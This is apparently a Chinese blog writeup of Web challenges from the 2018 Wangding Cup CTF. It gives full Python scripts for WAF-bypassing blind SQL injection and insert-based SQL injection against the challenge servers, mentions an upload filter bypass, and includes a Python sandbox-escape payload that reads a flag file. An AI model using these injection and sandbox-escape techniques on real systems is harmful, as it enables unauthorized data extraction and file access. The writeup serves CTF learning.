网鼎杯第二场Web题writeup

作者: Luan 分类: 渗透测试 发布时间: 2018-08-23 10:08

昨天因为被要求必须参加网鼎杯,于是被迫做了些题,只懂一点点渗透,也只能做做Web题了。

0x00 sqlweb

打开题目地址是个登录框,测试admin/admin登录,提示密码错误;测试luan123/luan123登录,提示账号错误。在用户名参数中测试SQL注入,发现有Waf,思考了下写出绕过Waf注入的Python代码:

import requests
import binascii

payload_list = []
for _p in range(20,127):
	payload_list.append(binascii.b2a_hex(binascii.b2a_hex(chr(_p)).upper()))
payload_list.sort()
print payload_list
passwd = ""
for i in range(1,3333):
	_p = payload_list
	while True:
		cur = len(_p)/2
		data = {
			"submit": "login",
			"uname": "wuyanzu'&&/**/hex(hex(mid(/**/(passwd)from("+str(i)+")for(1)/**/)))<"+str(_p[cur])+"#",
			"passwd": "123"
		}
		res = requests.post("http://1bb2148346de430688fed4a8e0456eac142975aa583f46c5.game.ichunqiu.com/sql.php", data=data).text
		if 'passwd error' in res:
			_p = _p[:cur]
		else:
			_p = _p[cur:]

		if len(_p) == 1:
			passwd += binascii.a2b_hex(binascii.a2b_hex(str(_p[0])))
			print passwd
			break
#uname=admin'%26%26/**/length(passwd)<9%23&passwd=a&submit=login

#admin123

#flag{ecf5b34c-78ac-4ca4-b8ca-26e55f0f8270}

首先注入出的admin密码为admin123,登录后提示wuyanzu才有flag,修改代码注入出wuyanzu的密码就是flag。
这里有一个坑点,我起初注入出的wuyanzu的密码是fiag…..啥的,长度像flag,但不是flag。思考了一会,调试对比下python和mysql的hex函数,发现mysql的HEX()返回的字符串里字母是大写,Python的那个啥模块返回的是小写。麻叶气死人了,加上.upper()就成功获得正确Flag了。双Hex转换字符串成整数的姿势,希望有生之年我能用Go重写个注入工具加进去吧。

0x01 unfinished

这题没什么好说的,扫文件得到注册的页面,username可以注入。但是不能报错注入,盲注太慢了,思考了会儿,写了个insert注入脚本。

import json
import requests
import time

email = "xasqxa@qq.com"
cookies = {
	"PHPSESSID": "96mmrs6fdb9nqpb5qo15e9pj56"
}
flag = ""
for i in range(50):
	i += 20
	data = {
		"email": email+str(i),
		"username": "0'+ascii(mid((select * from flag)from("+str(i)+")for(1)))+'0",
		"password": "123"
	}
	requests.post("http://861f47bab70e4e9c8ba4f9e84d8b8bc66605bac1880344ad.game.ichunqiu.com/register.php", data=data, cookies=cookies)
	o = requests.post('http://861f47bab70e4e9c8ba4f9e84d8b8bc66605bac1880344ad.game.ichunqiu.com/login.php', data=data, cookies=cookies).text[837:850].split(" ")[0]
	flag += chr(int(o))
	print flag
#flag{a198e723-0a11-4c88-baa8-c8b6b41269a1}

取回显的那行代码是临时瞎鸡儿分割的字符串,后来提交Writeup重新运行脚本还报错了,懒得修了。

0x02 wafUpload

这个上传没什么好说的,传个post数组参数让下面那个是png,上面的是php就行了。

0x03 calc

这个看到题目就猜到是代码/命令注入,直接百度搜下python的绕沙盒方法就行了

payload:expr=1-1%2Bord(().__class__.__bases__[0].__subclasses__()[40](“/fl”+”ag”).read()[§0§])

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!